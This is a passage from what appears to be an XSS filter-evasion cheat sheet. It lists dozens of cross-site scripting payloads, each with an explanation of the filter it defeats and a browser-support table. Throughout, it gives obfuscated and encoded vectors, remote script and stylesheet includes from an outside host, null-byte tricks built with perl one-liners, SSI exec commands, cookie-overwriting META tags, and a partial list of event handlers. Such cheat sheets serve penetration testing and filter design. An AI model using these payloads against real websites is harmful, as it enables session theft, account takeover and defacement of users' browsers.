URL=http://;URL=javascript:alert('XSS');"> - Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Mocha - <IMG SRC="mocha:[code]"> - Mocha (Older Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - OBJECT - <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> - If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - OBJECT w/Embedded XSS - <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> - Using an OBJECT tag you can embed XSS directly (this is unverified). - - - Browser support: - - - Embed Flash - <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> - - Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - OBJECT w/Flash 2 - a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); - - Using this action script inside flash can obfuscate your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - STYLE - <STYLE TYPE="text/javascript">alert('XSS');</STYLE> - STYLE tag (Older versions of Netscape only) - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - STYLE w/Comment - <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> - STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/Anonymous HTML - <XSS STYLE="xss:expression(alert('XSS'))"> - Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/background-image - <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> - - STYLE tag using background-image. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - STYLE w/background - <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> - - STYLE tag using background. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Stylesheet - <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> - Stylesheet - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 1 - <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> - Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 2 - <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> - Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 3 - <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> - Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Remote Stylesheet 4 - <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> - Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - TABLE - <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> - Table background (who would have thought tables were XSS targets... except me, of course). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - TD - <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> - TD background. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - XML namespace - <HTML xmlns:xss> -<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> -<xss:xss>XSS</xss:xss> - -</HTML> - XML namespace. The .htc file must be located on the server as your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML data island w/CDATA - <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> - -</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> - XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML data island w/comment - <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> - -<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> - XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML (locally hosted) - <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> -<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> - - Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - XML HTML+TIME - <HTML><BODY> -<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> - -<?import namespace="t" implementation="#default#time2"> -<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> - - HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Commented-out Block - <!--[if gte IE 4]> -<SCRIPT>alert('XSS');</SCRIPT> -<![endif]--> - - Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Cookie Manipulation - <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> - - Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Local .htc file - <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> - This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Rename .js to .jpg - <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> - Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - SSI - <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> - - SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - PHP - <? echo('<SCR)'; -echo('IPT>alert("XSS")</SCRIPT>'); ?> - - PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - JavaScript Includes - <BR SIZE="&{alert('XSS')}"> - &JavaScript includes (works in Netscape 4.x). - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - - Character Encoding Example - < -%3C -&lt -&lt; -&LT -&LT; -&#60 -&#060 -&#0060 - -&#00060 -&#000060 -&#0000060 -&#60; -&#060; -&#0060; -&#00060; -&#000060; -&#0000060; -&#x3c -&#x03c -&#x003c -&#x0003c -&#x00003c -&#x000003c -&#x3c; -&#x03c; - -&#x003c; -&#x0003c; -&#x00003c; -&#x000003c; -&#X3c -&#X03c -&#X003c -&#X0003c -&#X00003c -&#X000003c -&#X3c; -&#X03c; -&#X003c; -&#X0003c; -&#X00003c; -&#X000003c; -&#x3C - -&#x03C -&#x003C -&#x0003C -&#x00003C -&#x000003C -&#x3C; -&#x03C; -&#x003C; -&#x0003C; -&#x00003C; -&#x000003C; -&#X3C -&#X03C -&#X003C -&#X0003C -&#X00003C -&#X000003C - -&#X3C; -&#X03C; -&#X003C; -&#X0003C; -&#X00003C; -&#X000003C; -\x3c -\x3C -\u003c -\u003C - All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). - - - Browser support: - - - Case Insensitive - <IMG SRC=JaVaScRiPt:alert('XSS')> - Case insensitive XSS attack vector. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - HTML Entities - <IMG SRC=javascript:alert(&quot;XSS&quot;)> - HTML entities (the semicolons are required for this to work). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Grave Accents - <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> - Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Image w/CharCode - <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> - If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - UTF-8 Unicode Encoding - <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> - - UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Long UTF-8 Unicode w/out Semicolons - <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> - - Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - DIV w/Unicode - <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> - DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Hex Encoding w/out Semicolons - <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> - - Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - UTF-7 Encoding - <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- - - UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Escaping JavaScript escapes - \";alert('XSS');// - Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - End title tag - </TITLE><SCRIPT>alert("XSS");</SCRIPT> - This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - STYLE w/broken up JavaScript - <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> - STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Embedded Tab - <IMG SRC="jav ascript:alert('XSS');"> - Embedded tab to break up the cross site scripting attack. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Embedded Encoded Tab - <IMG SRC="jav&#x09;ascript:alert('XSS');"> - Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Embedded Newline - <IMG SRC="jav&#x0A;ascript:alert('XSS');"> - Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Embedded Carriage Return - <IMG SRC="jav&#x0D;ascript:alert('XSS');"> - Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Multiline w/Carriage Returns - <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > - - Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Null Chars 1 - perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out - - Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Null Chars 2 - perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out - - Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Spaces/Meta Chars - <IMG SRC=" &#14; javascript:alert('XSS');"> - Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal). - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Non-Alpha/Non-Digit - <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s" - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Non-Alpha/Non-Digit Part 2 - <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> - Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - No Closing Script Tag - <SCRIPT SRC=http://ha.ckers.org/xss.js - In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Protocol resolution in script tags - <SCRIPT SRC=//ha.ckers.org/.j> - This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag. - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Half-Open HTML/JavaScript - <IMG SRC="javascript:alert('XSS')" - Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the "javascript:" directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: - /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ -As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Double open angle brackets - <IFRAME SRC=http://ha.ckers.org/scriptlet.html < - This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't - - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - - Extraneous Open Brackets - <<SCRIPT>alert("XSS");//<</SCRIPT> - (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Malformed IMG Tags - <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> - Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - No Quotes/Semicolons - <SCRIPT>a=/XSS/ -alert(a.source)</SCRIPT> - No single quotes or double quotes or semicolons. - - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - - Event Handlers List 1 - See Below - Event Handlers that can be used in XSS attacks (this is the most comprehensive list on the net, at the time of this writing). Each one may have different results in different browsers. Thanks to Rene Ledosquet (http://www.secaron.de/) for the HTML+TIME updates: - --FSCommand() (execute from within an embedded Flash object) - --onAbort() (when user aborts the loading of an image) - --onActivate() (when object is set as the active element) - --onAfterPrint() (activates after user prints or previews print job) - --onAfterUpdate() (activates on data object after updating data in the source object) - --onBeforeActivate() (fires before the object is set as the active element) - --onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard (use the execCommand("Copy") function) - --onBeforeCut() (attacker executes the attack string right before a selection is cut) - --onBeforeDeactivate() (fires right after the activeElement is changed from the current object) - --onBeforeEditFocus() (fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) - --onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function) - --onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function) - --onBeforeUnload() (user would need to be tricked into closing the 